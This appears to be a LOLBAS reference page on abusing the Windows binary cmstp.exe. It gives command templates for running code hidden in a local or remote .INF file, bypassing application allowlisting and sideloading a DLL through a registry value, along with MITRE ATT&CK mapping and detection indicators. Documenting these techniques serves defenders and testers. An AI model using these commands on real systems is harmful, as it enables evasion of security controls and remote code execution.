LOLBAS. GitHub
LIVING OFF THE LAND / OS BINARIES

Cmstp.exe

View source

Installs or removes a Connection Manager service profile.

ExecuteAWL Bypass
03COMMAND EXAMPLES
01ATT&CK TECHNIQUES
05DETECTION RESOURCES
02CAPABILITIES
01 / TRADECRAFT

Command reference

3 examples

Execute2

EXAMPLE 01T1218.003

Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

COMMAND
cmstp.exe /ni /s {PATH_ABSOLUTE:.inf}
USE CASE
Execute code hidden within an inf file. Download and run scriptlets from internet.
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
Execute · INF
EXAMPLE 02T1218.003

cmstp.exe reads the `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll` registry value and passes its data directly to `LoadLibrary`. By modifying this registry key and setting it to an attack-controlled DLL, this will sideload the DLL via `cmstp.exe`.

COMMAND
cmstp.exe /nf
USE CASE
Proxy execution of a malicious DLL via registry modification.
PRIVILEGES
Administrator
OPERATING SYSTEM
Windows 10, Windows 11
Execute · DLLRequires · Registry Change

AWL Bypass1

EXAMPLE 01T1218.003

Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.

COMMAND
cmstp.exe /ni /s {REMOTEURL:.inf}
USE CASE
Execute code hidden within an inf file. Execute code directly from Internet.
PRIVILEGES
User
OPERATING SYSTEM
Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
Execute · INFExecute · Remote
02 / ON DISK

Known paths

C:\Windows\System32\cmstp.exe
C:\Windows\SysWOW64\cmstp.exe
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

5 resources

Indicators & detection notes

  • IOC

    Execution of cmstp.exe without a VPN use case is suspicious

  • IOC

    DotNet CLR libraries loaded into cmstp.exe

  • IOC

    DotNet CLR Usage Log - cmstp.exe.log

  • IOC

    Registry modification to HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\cmmgr32.exe\CmstpExtensionDll

FURTHER READING

Research & resources

COMMUNITY RESEARCH

Acknowledgements

Oddvar Moe@oddvarmoe
Nick Tyrer@NickTyrer
Naor Evgi@ghosts621